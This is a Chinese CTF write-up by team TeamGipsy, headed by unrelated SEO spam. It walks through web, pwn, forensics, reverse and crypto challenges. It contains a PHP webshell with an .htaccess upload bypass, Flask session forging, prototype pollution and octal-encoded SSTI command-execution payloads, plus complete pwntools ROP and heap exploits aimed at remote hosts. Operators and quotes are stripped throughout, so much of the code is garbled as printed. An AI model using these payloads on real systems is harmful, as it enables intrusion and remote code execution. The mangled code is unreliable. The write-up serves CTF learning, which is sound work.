中国建筑官网站,网站源代码怎么生成网页,如何用个门户网站做销售,跨境电子商务主要学什么战队名称#xff1a;TeamGipsy
战队排名#xff1a;18 SQLUP
题目描述#xff1a;a website developed by a novice developer.
开题#xff0c;是个登录界面。
账号admin#xff0c;随便什么密码都能登录 点击头像可以进行文件上传 先简单上传个木马试试 测一下…战队名称TeamGipsy
战队排名18 SQLUP
题目描述a website developed by a novice developer.
开题是个登录界面。
账号admin随便什么密码都能登录 点击头像可以进行文件上传 先简单上传个木马试试 测一下发现文件后缀不可以带p。选择用.htaccess文件进行利用
前提:Apache的httpd.conf中AllowOverrideAll
特征:如果服务器是黑名单检测的话,通常会禁用php等脚本文件,不一定会禁用.htaccess文件.
绕过方式先上传.htaccess文件,再上传一个文件名符合.htaccess特定代码的jpg文件,服务器会将jpg文件当做php文件来解析执行。
内容格式
FilesMatch jpg
SetHandler application/x-httpd-php
/FilesMatch
也可以是
AddType application/x-httpd-php.png
还可以是自动base64解码后包含 //Polar 上传
AddType application/x-httpd-php .png
php_value auto_append_file php://filter/convert.base64-decode/resourceshell.png
如果过滤lfile用 \空格换行 绕过
有文件头要求的需要进行base补位 //古剑山2023-upload
AddType application/x-httpd-php .png
php_value auto_append_fi\
le php://filter/convert.base64-decode/resourceshell.png-----------------------------------------------------------------------
原理
.htaccess nginx.htaccessapache和nginx的配置文件可修改php解释器的各项功能可覆盖php.ini里面的内容php.ini是最大的配置文件虚拟主机时代 一个物理服务器里面可能存放几十上百个网站 每个网站一个目录 A 网站 需要这样的php.ini配置B 网站 却需要那样的php.ini配置C 网站 又需要另外的php.ini配置
但是总的php.ini不动A B C 3个网站分别在自己目录定义自己的配置作用域也仅限于自己目录
所以自定义配置文件 .htaccess nginx.htaccess自动base64解码1.gif后包含
AddType application/x-httpd-php .gif
php_value auto_append_file php://filter/convert.base64-decode/resource1.gif1.gif内容
PD9waHAgZWNobyAiSmF5MTciO2V2YWwoJF9QT1NUWzFdKTs/Pg #?php echo Jay17;eval($_POST[1]);?再上传个shell.gif自动包含1.gif内容 getshell flag{29899671-82e8-41cf-80ee-4b27515bef95}CandyShop
题目描述小明成为了CandyShop的店员老板要求他卖出500个糖果但是每个人只能买10个小明不知道怎么办了你能帮帮他吗
拿下三血~ 附件下载源码
import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import reapp Flask(__name__)app.config[SECRET_KEY] xxxxxxxclass RegistrationForm(FlaskForm):username StringField(Username, validators[DataRequired(), Length(min2, max20)])password PasswordField(Password, validators[DataRequired(), Length(min6, max20)])submit SubmitField(Register)class LoginForm(FlaskForm):username StringField(Username, validators[DataRequired(), Length(min2, max20)])password PasswordField(Password, validators[DataRequired(), Length(min6, max20)])submit SubmitField(Login)class Candy:def __init__(self, name, image):self.name nameself.image imageclass User:def __init__(self, username, password):self.username usernameself.password passworddef verify_password(self, username, password):return (self.username username) (self.password password)class Admin:def __init__(self):self.username self.identity def sanitize_inventory_sold(value):return re.sub(r[a-zA-Z_], , str(value))def merge(src, dst):for k, v in src.items():if hasattr(dst, __getitem__):if dst.get(k) and type(v) dict:merge(v, dst.get(k))else:dst[k] velif hasattr(dst, k) and type(v) dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)candies [Candy(nameLollipop, imageimages/candy1.jpg),Candy(nameChocolate Bar, imageimages/candy2.jpg),Candy(nameGummy Bears, imageimages/candy3.jpg)]
users []
admin_user []app.route(/register, methods[GET, POST])
def register():form RegistrationForm()if form.validate_on_submit():user User(usernameform.username.data, passwordform.password.data)users.append(user)return redirect(url_for(login))return render_template(register.html, formform)app.route(/login, methods[GET, POST])
def login():form LoginForm()if form.validate_on_submit():for u in users:if u.verify_password(form.username.data, form.password.data):session[username] form.username.datasession[identity] guestreturn redirect(url_for(home))return render_template(login.html, formform)inventory 500
sold 0app.route(/home, methods[GET, POST])
def home():global inventory, soldmessage Noneusername session.get(username)identity session.get(identity)if not username:return redirect(url_for(register))if sold 10 and sold 500:sold 0inventory 500message But you have bought too many candies!return render_template(home.html, inventoryinventory, soldsold, messagemessage, candiescandies)if request.method POST:action request.form.get(action)if action buy_candy:if inventory 0:inventory - 3sold 3if inventory 0:message All candies are sold out!if sold 500:with open(secret.txt, r) as file:message file.read()return render_template(home.html, inventoryinventory, soldsold, messagemessage, candiescandies)app.route(/admin, methods[GET, POST])
def admin():username session.get(username)identity session.get(identity)if not username or identity ! admin:return redirect(url_for(register))admin Admin()merge(session, admin)admin_user.append(admin)return render_template(admin.html, viewindex)app.route(/admin/view_candies, methods[GET, POST])
def view_candies():username session.get(username)identity session.get(identity)if not username or identity ! admin:return redirect(url_for(register))return render_template(admin.html, viewcandies, candiescandies)app.route(/admin/add_candy, methods[GET, POST])
def add_candy():username session.get(username)identity session.get(identity)if not username or identity ! admin:return redirect(url_for(register))candy_name request.form.get(name)candy_image request.form.get(image)if candy_name and candy_image:new_candy Candy(namecandy_name, imagecandy_image)candies.append(new_candy)return render_template(admin.html, viewadd_candy)app.route(/admin/view_inventory, methods[GET, POST])
def view_inventory():username session.get(username)identity session.get(identity)if not username or identity ! admin:return redirect(url_for(register))inventory_value sanitize_inventory_sold(inventory)sold_value sanitize_inventory_sold(sold)return render_template_string(商店库存: inventory_value 已售出 sold_value)app.route(/admin/add_inventory, methods[GET, POST])
def add_inventory():global inventoryusername session.get(username)identity session.get(identity)if not username or identity ! admin:return redirect(url_for(register))if request.form.get(add):num request.form.get(add)inventory int(num)return render_template(admin.html, viewadd_inventory)app.route(/)
def index():return render_template(index.html)if __name__ __main__:app.run(debugFalse, host0.0.0.0, port1337)
首先可以看到部分路由需要admin身份访问同时有flask session密钥是7位。
开题注册登陆Jay17/111111 拿到session
eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc 起手session爆破密钥。密钥是a123456
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import syspath ../my_wordlist.txtprint(Generating wordlist... )#如果wordlist.txt为自定义字典注释掉下面三行
# with open(path,w) as f:
# #permutations with repetition
# [f.write(.join(x)\n) for x in itertools.product(0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM, repeat4)] #加上前缀#url http://47.115.201.35:8000/index
#cookie_tamper r.head(url).cookies.get_dict()[session]
cookie_tampereyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc
print(Got cookie: cookie_tamper)print(Cracker Started...)obj flask_unsign.Cracker(valuecookie_tamper)before time.time()with wordlist(path, parse_linesFalse) as iterator:obj.crack(iterator)secret
if obj.secret:secret obj.secret.decode()print(fFound SECRET_KET ~{secret}~ in {time.time()-before} seconds)signer flask_unsign.sign({time:time.time(),authorized:True},secretsecret)**解密session**flask-unsign --decode --cookie ‘获得的session’
flask-unsign --decode --cookie eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc**加密session**flask-unsign --sign --cookie “{‘logged_in’: True}” --secret ‘CHANGEME’
flask-unsign --sign --cookie {csrf_token: f05b9fcad27377241ab65efadf6bf39a65f9c715, identity: admin, username: Jay17} --secret a123456eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiYWRtaW4iLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00yA.ArWLgtc-_3I92l3qPfUvGCSaUXE成功获取admin权限 解锁所有功能后接下来就是思考如何把糖果变到500。
发现/admin路由下有原型链污染 我们直接污染全局变量sold修改糖果数量 {__init__:{__globals__:{sold:501} }
}session加密一下
flask-unsign --sign --cookie {csrf_token: f05b9fcad27377241ab65efadf6bf39a65f9c715, identity: admin, username: Jay17,__init__:{__globals__:{sold:501}}} --secret a123456.eJwly00KwyAQhuG7zLqLmFRFj9BLyPgzQWJGiHYRgnev0N33PvA9ENpFrtcjMVigRXpDAeOqN63Xt0CvZCKMpDxtBpUkE7SQ8IIcE_fc7_nCeGae9G3pYjzTpA_eQk9yLnPuzoF95t5L9VjaP1stEaxcxBjjB033KyA.Zt02hQ.JK2FDR4eKopf7rJigxJ0GD-Dd94替换session后访问/admin路由触发原型链污染。
访问/admin/view_inventory路由发现污染成功手上的糖果已经过500了 回到/home路由再买一下获得secret.txt的文件内容 /tmp/xxxx/xxx/xxxx/flag但是不可以直接读取尝试过添加糖果为这个位置 或者 切换指定static静态目录到/tmp都不行。
细细读下源码发现一般的模板渲染都是安全的render_template()唯有/admin/view_inventory路由下是render_template_string()存在SSTI。
那么说我们污染inventory或者sold为SSTIpayload即可后续发现只能污染inventorysold污染了会报错咱为查明原因。存在限制是re.sub(r[a-zA-Z_], , str(value))用八进制绕过。
进行一下SSTI简单测试无误
flask-unsign --sign --cookie {csrf_token: f05b9fcad27377241ab65efadf6bf39a65f9c715, identity: admin, username: Jay17,__init__:{__globals__:{inventory:{{7*7}}}}} --secret a123456那么接下来就是SSTI读取文件了
原始payload
{{.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls /).read())}}转八进制
.__class__转为[XXXXXX]
[0]不动
()不动
[eval]转为[XXXXXX]
(__import__(os).popen(【RCE】).read())转为(XXXXXX)payload单引号和斜杠转义一下
{{\\[\\\137\\137\\143\\154\\141\\163\\163\\137\\137\][\\\137\\137\\142\\141\\163\\145\\163\\137\\137\][0][\\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\]()[133][\\\137\\137\\151\\156\\151\\164\\137\\137\][\\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\][\\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\][\\\145\\166\\141\\154\](\\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042RCE的八进制\\042\\051\\056\\162\\145\\141\\144\\050\\051\)}}命令如下
find /tmp -name flagtac /tmp/c05cac2af98893714d14d6107237f915/cbd2c352aaf912c8db7eabf2a9c71aa2/47ea5fa69ceb675b7023a3ff6b110012/flag{{\\[\\\137\\137\\143\\154\\141\\163\\163\\137\\137\][\\\137\\137\\142\\141\\163\\145\\163\\137\\137\][0][\\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\]()[133][\\\137\\137\\151\\156\\151\\164\\137\\137\][\\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\][\\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\][\\\145\\166\\141\\154\](\\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042RCE的八进制\\042\\051\\056\\162\\145\\141\\144\\050\\051\)}}最终payload
flask-unsign --sign --cookie {csrf_token: f05b9fcad27377241ab65efadf6bf39a65f9c715, identity: admin, username: Jay17,__init__:{__globals__:{inventory:{{\\[\\\137\\137\\143\\154\\141\\163\\163\\137\\137\][\\\137\\137\\142\\141\\163\\145\\163\\137\\137\][0][\\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\]()[133][\\\137\\137\\151\\156\\151\\164\\137\\137\][\\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\][\\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\][\\\145\\166\\141\\154\](\\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\164\\141\\143\\040\\057\\164\\155\\160\\057\\143\\060\\065\\143\\141\\143\\062\\141\\146\\071\\070\\070\\071\\063\\067\\061\\064\\144\\061\\064\\144\\066\\061\\060\\067\\062\\063\\067\\146\\071\\061\\065\\057\\143\\142\\144\\062\\143\\063\\065\\062\\141\\141\\146\\071\\061\\062\\143\\070\\144\\142\\067\\145\\141\\142\\146\\062\\141\\071\\143\\067\\061\\141\\141\\062\\057\\064\\067\\145\\141\\065\\146\\141\\066\\071\\143\\145\\142\\066\\067\\065\\142\\067\\060\\062\\063\\141\\063\\146\\146\\066\\142\\061\\061\\060\\060\\061\\062\\057\\146\\154\\141\\147\\042\\051\\056\\162\\145\\141\\144\\050\\051\)}}}}} --secret a123456BrickGame
题目描述通关小游戏即可获得flag。
直接玩小游戏就可以了60秒找相同的卡牌玩了一会儿第三关稍微要集中注意。 漏洞探踪流量解密
题目描述网站遭遇异常攻击通过日志与流量锁定攻击来源阶段二的压缩包密码是攻击来源ip地址比如127.0.0.1对捕获的数据包进行解密识别加密算法并还原flag。flag格式为flag:{xxxxx}
阶段一是流量文件和日志文件题目提示密码是ip地址打开看一下log文件发现地址,查找upload关键字在192.168.30.234地址下发现成功上传了文件根据题目提示成功解密第二阶段的压缩包还是得到一个流量文件打开过滤http流追踪http一点点看发现有key文件直接全部导出 有密钥猜测是rc4解密把重复部分去掉选择hex密钥格式成功得到flag 最安全的加密方式
题目描述找到了一个最安全的加密方式然后将自己的密码用这种方式加密起来你能破解出来吗
打开流量过滤http流发现后门脚本qqq.php 大概看一下两个关键密钥脚本就是对传入的paylod进行拼接加密和二次利用再向后发现一个rar导出后发现需要密码使用pass就可以解密得到一堆字符串 发现第一行是f字母md5后的数据猜测就是md5用脚本碰撞每一行代表一个字母脚本如下
import hashlibflag [8fa14cdd754f91cc6554c9e71929cce7,2db95e8e1a9267b7a1188556b2013b33,0cc175b9c0f1b6a831c399e269772661,b2f5ff47436671b6e533d8dc3614845d,f95b70fdc3088560732a5ac135644506,b9ece18c950afbfa6b0fdbfa4ff731d3,2510c39011c5be704182423e3a695e91,e1671797c52e15f763380b45e841ec32,b14a7b8059d9c055954c92674ce60032,6f8f57715090da2632453988d9a1501b,cfcd208495d565ef66e7dff9f98764da,03c7c0ace395d80182db07ae2c30f034,e358efa489f58062f10dd7316b65649e,b14a7b8059d9c055954c92674ce60032,c81e728d9d4c2f636f067f89cc14862c,e1671797c52e15f763380b45e841ec32,4a8a08f09d37b73795649038408b5f33,4c614360da93c0a041b22e537de151eb,4b43b0aee35624cd95b910189b3dc231,e1671797c52e15f763380b45e841ec32,b14a7b8059d9c055954c92674ce60032,e1671797c52e15f763380b45e841ec32,8d9c307cb7f3c4a32822a51922d1ceaa,4a8a08f09d37b73795649038408b5f33,4b43b0aee35624cd95b910189b3dc231,57cec4137b614c87cb4e24a3d003a3e0,83878c91171338902e0fe0fb97a8c47a,e358efa489f58062f10dd7316b65649e,865c0c0b4ab0e063e5caa3387c1a8741,d95679752134a2d9eb61dbd7b91c4bcc,7b8b965ad4bca0e41ab51de7b31363a1,9033e0e305f247c0c3c80d0c7848c8b3,9033e0e305f247c0c3c80d0c7848c8b3,9033e0e305f247c0c3c80d0c7848c8b3,cbb184dd8e05c9709e5dcaedaa0495cf
]
dic 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!{}for f in flag:for a in dic:if hashlib.md5(a.encode(utf-8)).hexdigest() f:print(a, end)break得到flag flag{The_m0st_2ecUre_eNcrYption!!!} FlowerShop
题目描述近期社区举办一个免费赠鲜花活动主办方给出了活动网址可以通过网址挑选鲜花你看看能不能在本次活动中选到自己喜欢的鲜花。 read 有溢出 init中有个检测写好pwn\x00就可以绕过后面填金额。在shop中有check函数 V3验证要求
#a12 a
#a1[1] 1 b 之后就是栈溢出购买一次magic构造/bin/sh
EXP
from pwn import *
from LibcSearcher import *
io process(./pwn)
elf ELF(./pwn)
context(log_leveldebug,archelf.arch,oself.os)
io remote(8.147.131.74,17858)
libc ELF(/lib/x86_64-linux-gnu/libc.so.6)
def debug():gdb.attach(io)pause()
def get_addr():return u64(io.recvuntil(b\x7f)[-6:].ljust(8,b\x00))
def get_sys():return libcbase next(libc.search(b/bin/sh\x00)), libcbase libc.sym[system]
r lambda num : io.recv(num)
ru lambda data : io.recvuntil(data)
rl lambda : io.recvline()
s lambda data : io.send(data)
sl lambda data : io.sendline(data)
sla lambda data,pay : io.sendlineafter(data,pay)
uu64 lambda size : u64(io.recv(size).ljust(8,b\x00))
uu32 lambda size : u32(io.recv(size).ljust(4,b\x00))
itr lambda : io.interactive()
li lambda x : print(\x1b[01;38;5;214m x \x1b[0m)rdi 0x400f13
ru(姓名:\n)
s(b\x00*0x34bpwn\x00 baaaa*4)#0x38
#a12 a
#a1[1] 1 b#debug()
ru(选项:\n)
sl(ba)
ru(序号:\n)
sl(c)
ru(b1/0\n)
sl(b1)ru(序号:\n)
sl(a)
ru(b1/0\n)
sl(b1)
ru(序号:\n)
sl(a)
ru(b1/0\n)
sl(b1)
ru(序号:\n)
#debug()
sl(b)pay ba*0x18 p64(rdi) p64(0x601840) p64(rdi1) p64(elf.plt[system])
s(pay)
sleep(0.1)
sl(cat /f*)
itr()Kylin_Heap
题目描述Exploring user mode exploitation on KylinOS is absolutely captivating!
简单uaflibc是2.31打free_hook
EXP
from pwn import *
from LibcSearcher import *
#io process(./Heap)
elf ELF(./Heap)
context(log_leveldebug,archelf.arch,oself.os)
io remote(8.147.128.54,18461)
libc ELF(./libc-2.31-0kylin9.2k0.2.so)
def debug():gdb.attach(io)pause()
def get_addr():return u64(io.recvuntil(b\x7f)[-6:].ljust(8,b\x00))
def get_sys():return libcbase next(libc.search(b/bin/sh\x00)), libcbase libc.sym[system]
r lambda num : io.recv(num)
ru lambda data : io.recvuntil(data)
rl lambda : io.recvline()
s lambda data : io.send(data)
sl lambda data : io.sendline(data)
sla lambda data,pay : io.sendlineafter(data,pay)
uu64 lambda size : u64(io.recv(size).ljust(8,b\x00))
uu32 lambda size : u32(io.recv(size).ljust(4,b\x00))
itr lambda : io.interactive()
li lambda x : print(\x1b[01;38;5;214m x \x1b[0m)def add(size,content):ru(bWhat will you do, adventurer? )sl(str(1))ru(bbytes): )sl(str(size))ru(bbytes):)s(content)
def free(index):ru(bWhat will you do, adventurer? )sl(str(2))ru(bindex (0-19): )sl(str(index))
def edit(index,content):ru(bWhat will you do, adventurer? )sl(str(3))ru(bindex (0-19): )sl(str(index))ru(bbytes):)s(content)
def show(index):ru(bWhat will you do, adventurer? )sl(str(4))ru(bindex (0-19): )sl(str(index))
add(0x418,ba)
add(0x68,ba)
add(0x68,ba)
add(0x68,ba)
add(0x68,ba)
free(0)
free(1)
free(2)
show(0)
ru(bblock)
rl()
libcbase uu64(6) - 2014176
li(hex(libcbase))
free_hooklibcbaselibc.sym[__free_hook]
bin,sys get_sys()
edit(2,p64(free_hook))
add(0x68,b/bin/sh\x00)
add(0x68,p64(sys))
free(5)
#debug()
sl(cat /f*)
itr()easyre
题目描述无
拿到附件没壳直接ida分析 拿到伪代码用了插件查看有没有什么加密算法没有那就只能老老实实分析异或了仔细看看异或的密钥就是本身然后在继续往下分析的时候看到一个数据 恰好43位然后就写个脚本试试看解密出来是什么东西
#include stdio.hint main() {unsigned char enc[] {0x0A, 0x0D, 0x06, 0x1C, 0x1D, 0x05, 0x05, 0x5F, 0x0D, 0x03,0x04, 0x0A, 0x14, 0x49, 0x05, 0x57, 0x00, 0x1B, 0x19, 0x02,0x01, 0x54, 0x4E, 0x4C, 0x56, 0x00, 0x51, 0x4B, 0x4F, 0x57,0x05, 0x54, 0x55, 0x03, 0x53, 0x57, 0x01, 0x03, 0x07, 0x04,0x4A, 0x77, 0x0D};int enc_len sizeof(enc) / sizeof(enc[0]);int xor_index[enc_len];int v4 1;for (int i 0; i enc_len; i) {int num1 i 1 -42 * (v4 / 0x2A);xor_index[i] num1;v4 1;}int num enc_len - 1;for (int i enc_len - 1; i 0; i--) {enc[i] ^ enc[xor_index[num]];num--;}printf(Decrypted bytes: );for (int i 0; i enc_len; i) {printf(%c, enc[i]);}printf(\n);return 0;
}
发现居然拿到flag了 RandomRSA
题目描述A特工从敌方服务器获取到了一份带有hint的机密文件请协助破解加密。 p , q p, q p,q由LCG生成给定LCG的 p , a , b p,a,b p,a,b p p x c 1 q q a ∗ x b c 2 m o d p n p p ∗ q q ( x c 1 ) ∗ ( a ∗ x b c 2 ) m o d p pp xc1\\qqa*xbc2 \bmod p\\ n pp*qq (xc1)*(a*xbc2)\bmod p ppxc1qqa∗xbc2modpnpp∗qq(xc1)∗(a∗xbc2)modp c 1 , c 2 c1,c2 c1,c2是LCG生成数与其下一个素数的差值爆破 c 1 , c 2 c1,c2 c1,c2求解上述方程可以求出 p p , q q pp,qq pp,qq。
p, a, b 170302223332374952785269454020752010235000449292324018706323228421794605831609342383813680059406887437726391567716617403068082252456126724116360291722050578106527815908837796377811535800753042840119867579793401648981916062128752925574017615120362457848369672169913701701169754804744410516724429370808383640129, 95647398016998994323232737206171888899957187357027939982909965407086383339418183844601496450055752805846840966207033179756334909869395071918100649183599056695688702272113280126999439574017728476367307673524762493771576155949866442317616306832252931038932232342396406623324967479959770751756551238647385191314, 122891504335833588148026640678812283515533067572514249355105863367413556242876686249628488512479399795117688641973272470884323873621143234628351006002398994272892177228185516130875243250912554684234982558913267007466946601210297176541861279902930860851219732696973412096603548467720104727887907369470758901838
n, c 5593134172275186875590245131682192688778392004699750710462210806902340747682378400226605648011816039948262008066066650657006955703136928662067931212033472838067050429624395919771757949640517085036958623280188133965150285410609475158882527926240531113060812228408346482328419754802280082212250908375099979058307437751229421708615341486221424596128137575042934928922615832987202762651904056934292682021963290271144473446994958975487980146329697970484311863524622696562094720833240915154181032649358743041246023013296745195478603299127094103448698060367648192905729866897074234681844252549934531893172709301411995941527, 2185680728108057860427602387168654320024588536620246138642042133525937248576850574716324994222027251548743663286125769988360677327713281974075574656905916643746842819251899233266706138267250441832133068661277187507427787343897863339824140927640373352305007520681800240743854093190786046280731148485148774188448658663250731076739737801267702682463265663725900621375689684459894544169879873344003810307496162858318574830487480360419897453892053456993436452783099460908947258094434884954726862549670168954554640433833484822078996925040310316609425805351183165668893199137911145057639657709936762866208635582348932189646
from gmpy2 import mpz, isqrt, powmod, invert, is_prime
import concurrent.futures
import tqdm
import os
from Crypto.Util.number import *# 模数 p 和多项式的系数 a, b, 以及 n
p mpz(p) # LCG 中的模数
a mpz(a) # LCG 的乘数
b mpz(b) # LCG 的增量
n mpz(n) # RSA 模数# 求解方程中的 x
def solve_quadratic_mod(a, b, c, p):求解模数 p 下的二次方程 a*x^2 b*x c ≡ 0 (mod p)# 计算判别式 Δ b^2 - 4ac (mod p)discriminant (b * b - 4 * a * c) % p# 判断判别式是否有解if gmpy2.jacobi(discriminant, p) ! 1:return None # 没有平方根二次方程无解sqrt_discriminant sympy.nthroot_mod(discriminant, 2, p)# 计算 2a 的逆元inv_2a gmpy2.invert(2 * a, p)# 求解方程 x (-b ± sqrt(Δ)) / 2a (mod p)x1 ((-b sqrt_discriminant) * inv_2a) % px2 ((-b - sqrt_discriminant) * inv_2a) % preturn x1, x2# 并行处理多个 c1 值
def process_c1_range(c1_start, c1_end):results []for c1 in range(c1_start, c1_end):for c2 in range(1000):# 构建模数下的二次方程b_prime (b c2 a * c1) % pc_prime (c1 * (b c2) - n) % p# 求解二次方程res solve_quadratic_mod(a, b_prime, c_prime, p)# 检查解是否存在if res:x1, x2 resp1_x1 (x1 c1) % pp2_x1 (a * x1 b c2) % pp1_x2 (x2 c1) % pp2_x2 (a * x2 b c2) % p# 检查是否为素数并且满足 p1_x1 * p2_x1 nif is_prime(p1_x1) and is_prime(p2_x1) and p1_x1 * p2_x1 n:results.append((c1, c2, x1))if is_prime(p1_x2) and is_prime(p2_x2) and p1_x2 * p2_x2 n:results.append((c1, c2, x2))return results# 多进程执行主函数
def main():results []num_cpus os.cpu_count() # 获取可用CPU核数chunk_size 10 # 每个任务处理10个c1total_c1 1000 # c1的总范围with concurrent.futures.ProcessPoolExecutor(max_workersnum_cpus) as executor:futures []# 将c1范围分块提交给进程池for c1_start in range(0, total_c1, chunk_size):c1_end min(c1_start chunk_size, total_c1)futures.append(executor.submit(process_c1_range, c1_start, c1_end))# 收集结果for future in tqdm.tqdm(concurrent.futures.as_completed(futures)):result future.result()if result:results.extend(result)break # 找到结果后提前退出# 输出找到的结果if results:print(找到的结果: , results)c1, c2, x results[0]pp x c1qq (a * x b c2) % pprint((x c1) * (a * x b c2) % p n % p)print(is_prime(pp), is_prime(qq), pp * qq n)d invert(65537, (pp - 1) * (qq - 1))print(long_to_bytes(pow(c, d, pp * qq)))else:print(没有找到符合条件的 c1 和 c2)# 运行主函数
if __name__ __main__:main()找到的结果: [(400, 777, mpz(38534082358492594770386164237787365358541687418861187872713633582773421830071965767156849758539753005265646728268013378441910869242213934859104106129143840904759207713228020635783396836155221721670963919289892982570525749738495868163606321994100244126498346427863605167635338350807757317686146416624471446841))]
# True
# True True True
# bflag{j1st_e_s1mp1e_b3ute}
